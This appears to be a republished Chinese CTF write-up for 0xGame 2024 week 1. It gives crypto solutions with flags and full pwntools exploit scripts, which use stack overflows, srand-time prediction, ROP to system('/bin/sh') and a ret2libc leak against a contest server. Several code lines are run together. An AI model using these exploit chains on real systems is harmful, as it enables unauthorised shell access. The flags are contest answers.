当前位置: 首页 > news >正文

[0xGame 2024] week1

这一段时间新生赛比较多。

Crypto

Caesar Cipher

厨子一把梭

Code

编码,m0 + long_to_bytes(m1) + bytes.fromhex(m2)+b64decode(m3)

Code-Vigenere

维吉尼亚,通过头爆破key

key = 'owccl'
#0xGame{acb94092-e8bc-4963-88f6-4fcadbbfb6c7}

Number-Theory-CRT

 RSA,N非常小,只是e与phi有公因子2,先解RSA再有限域开根号,得到的解再试一下。

n,e = (1022053332886345327, 294200073186305890)
c = 107033510346108389factor(n)
#970868179 * 1052721013
phi = 970868178 * 1052721012
d = invese_mod(e//2, phi)
m2 = pow(c,d,n)P.<x> = PolynomialRing(Zmod(n))
f = x^2 - m2
res = f.roots(multiplicities=False)for i in res:MD5(int(i))'''
'127016d0be858ef48a99723710ad4d49'
'f4107420d94cc7037114376d8566d4ef'
'3932f6728585abbf751a212f69276d3e'
'15820afdb9a129e89e40e57f40ff8de9'
'''
#0xGame{127016d0be858ef48a99723710ad4d49}

RSA-Baby

 明显比上题还简单,连有限域开根号都免了

RSA-Easy

这俩题是不是重了。

PWN

test your nc

test your pwntools

stack overflow

positive

-1绕过加溢出

from pwn import *
context(arch='amd64', log_level='debug')p = remote('47.97.58.52', 40002)
pay = b'-1  '+b'A'*0x38+flat(0x401272)
p.sendafter(b':', pay)
p.interactive()

find_me

ctypes的用法,用时间的随机数作种子,全世界时间都是相同的。

from pwn import *
from ctypes import *
import timeclibc = cdll.LoadLibrary("./libc.so.6")context(arch='amd64', log_level='debug')p = remote('47.97.58.52', 40003)
#p = process('./pwn')seed = int(time.time())
clibc.srand(seed)
v =clibc.rand()%100
fid = 3+v
print(f"{seed = :x} {fid = :x}")#gdb.attach(p, "b*0x401339\nc")p.recvuntil(b'Your turn!\n')
p.send(b'0   ')
p.send(str(fid).encode().ljust(4,b' ')) #read(3)p.send(b'1   ')
p.send(b'0   ') #write(1, ...)p.interactive()

where_is_my_binsh

都是栈溢出啊

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
pop_rdi = 0x401323p = remote('47.97.58.52', 40004)
#p = process('./pwn')p.send(b'/bin/sh'.ljust(0x10, b'\0'))
p.send(b'A'*0x18 + flat(pop_rdi+1, pop_rdi, 0x404090, elf.plt['system']))p.interactive()

ret2csu

栈溢出泄露libc再getshell

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./pwn')
libc = ELF('./libc.so.6')
pop_rdi = 0x00000000004013c3 # pop rdi ; ret
pop_rsi = 0x00000000004013c1 # pop rsi ; pop r15 ; retp = remote('47.97.58.52', 40005)
#p = process('./pwn')
#gdb.attach(p, "b*0x401357\nc")p.sendafter(b"The little doll is tired, say goodnight to her~\n", b'/bin/sh'.ljust(0x10, b'\0'))
p.sendafter(b"What else do you want to do?\n\0", b'\0'*0x18 + flat(pop_rdi, 1, pop_rsi, elf.got['write'], 0, elf.plt['write'], elf.sym['main']))
p.recvuntil(b"Her sleeping face is lovely, right? Time to go.\n\0")
libc.address = u64(p.recv(8)) - libc.sym['write']
print(f"{libc.address = :x}")p.sendafter(b"The little doll is tired, say goodnight to her~\n", b'/bin/sh'.ljust(0x10, b'\0'))
p.sendafter(b"What else do you want to do?\n\0", b'\0'*0x18 + flat(pop_rdi, 0x404090, libc.sym['system']))p.interactive()

Rev

BabyBase

BinaryMaster

SignSign

前3略,IDA打开就知道了

Xor-Beginning

异或

Xor-Endian

同上


http://www.mrgr.cn/news/50195.html

相关文章:

  • 进程相关及守护进程
  • 电脑显示d3dcompiler_47.dll缺失如何修复,马上教你6个修复方法
  • Windows环境下安装使用curl命令
  • 【从零开始的LeetCode-算法】2135. 统计追加字母可以获得的单词数
  • Linux——Harbor(容器镜像 管理项目)
  • c语言字符函数
  • 力扣随机题
  • Django模型优化
  • MySQL表的基本查询上
  • 【Linux】信号(初版)
  • lego-loam imageProjection.cpp源码注释(一)
  • 242.有效的字母异位词
  • 2022年华为杯数学建模竞赛A题论文和代码
  • Datawhale 组队学习 文生图 Prompt攻防 task02随笔
  • 糖基转移酶数据库及代表性文章进展-汇总系列
  • 力扣题解(鸡蛋掉落,两枚鸡蛋)
  • 用html、css和js来实现冒泡排序
  • FPGA驱动HDMI 初级篇
  • 10月15日 -- 11月15日 ,参与《人工智能导论》学习打卡赢B站大会员
  • 饭局上做到这5点,让你轻松和大家打成一片相谈甚欢!